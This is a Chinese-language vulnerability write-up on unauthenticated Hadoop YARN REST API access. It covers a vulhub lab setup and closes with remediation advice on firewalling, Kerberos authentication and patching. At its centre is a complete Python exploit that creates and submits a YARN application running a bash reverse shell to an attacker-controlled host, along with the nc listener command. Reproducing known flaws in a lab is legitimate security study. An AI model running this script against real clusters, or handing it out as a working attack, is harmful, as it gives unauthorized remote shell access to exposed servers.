【漏洞左先锋】【开发框架漏洞】Hadoop 未授权访问GetShell
漏洞描述
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题。
环境搭建
利用vulhub搭建靶场环境
cd vulhub/hadoop/unauthorized-yarn
docker-compose up -d
启动后访问http://ip:8088端口即可看到hadoop未授权页面
复现过程
利用过程如下:
- 在本地监听等待反弹 shell 连接
- 调用 New Application API 创建 Application
- 调用 Submit Application API 提交
详细EXP如下:
#!/usr/bin/env python
import requests
target = 'http://x.x.x.x:8088/'
lhost = '127.0.0.1' # put your local host ip here, and listen at port 1111
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/1111 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
修改exp中的target和lhost参数,target参数为目标URL,lhost参数为vps的IP,vps IP用于接收反弹shell,vps启动nc监听1111端口
nc -lvnp 1111
执行漏洞利用脚本,成功反弹shell
python3 exp.py
修复建议
网络访问控制,使用防火墙对受影响服务端口访问源IP进行控制如Hadoop环境仅对内网提供服务,不要将端口服务暴露在公网如使用自建Hadoop,根据实际情况更新补丁(Hadoop在2.x版本以上提供了安全认证功能,加入了Kerberos认证机制)
启用认证功能 启用 Kerberos 认证功能。
更新补丁 不定期关注 Hadoop 官方发布的最新版本,并及时更新补丁
参考文章
https://vulhub.org/#/environments/hadoop/unauthorized-yarn/
https://www.idchg.com/info/137562/
https://www.idchg.com/info/137562/